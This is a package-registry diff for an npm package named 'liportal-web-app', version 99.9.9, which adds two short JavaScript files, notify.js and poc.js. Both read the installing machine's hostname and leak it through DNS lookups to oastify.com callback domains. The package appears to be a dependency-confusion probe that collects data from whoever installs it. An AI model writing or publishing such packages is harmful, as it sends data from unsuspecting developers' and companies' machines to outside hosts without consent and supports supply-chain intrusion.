liportal-web-app 99.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/notify.js +11 -0
- package/package.json +9 -0
- package/poc.js +7 -0
package/notify.js
ADDED
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
const dns = require('dns');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
|
|
4
|
+
// SOLO el dominio, sin https:// ni subrutas
|
|
5
|
+
const collaboratorDomain = "zcfgqt0t886vis0zmm3riq19w02rqie7.oastify.com";
|
|
6
|
+
const hostname = os.hostname().replace(/\s+/g, '-'); // Limpiar espacios
|
|
7
|
+
const info = `poc-${hostname}.${collaboratorDomain}`;
|
|
8
|
+
|
|
9
|
+
dns.lookup(info, () => {
|
|
10
|
+
console.log("PoC Signal Sent to " + info);
|
|
11
|
+
});
|
package/package.json
ADDED
package/poc.js
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
const dns = require('dns');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
// Envía el nombre del host que está instalando el paquete a tu servidor de monitoreo
|
|
4
|
+
const target = `vulnerable.${os.hostname()}.jyl0cdmdussf4cmj86pb4antikobc10q.oastify.com`;
|
|
5
|
+
dns.lookup(target, () => {
|
|
6
|
+
console.log("PoC executed successfully");
|
|
7
|
+
});
|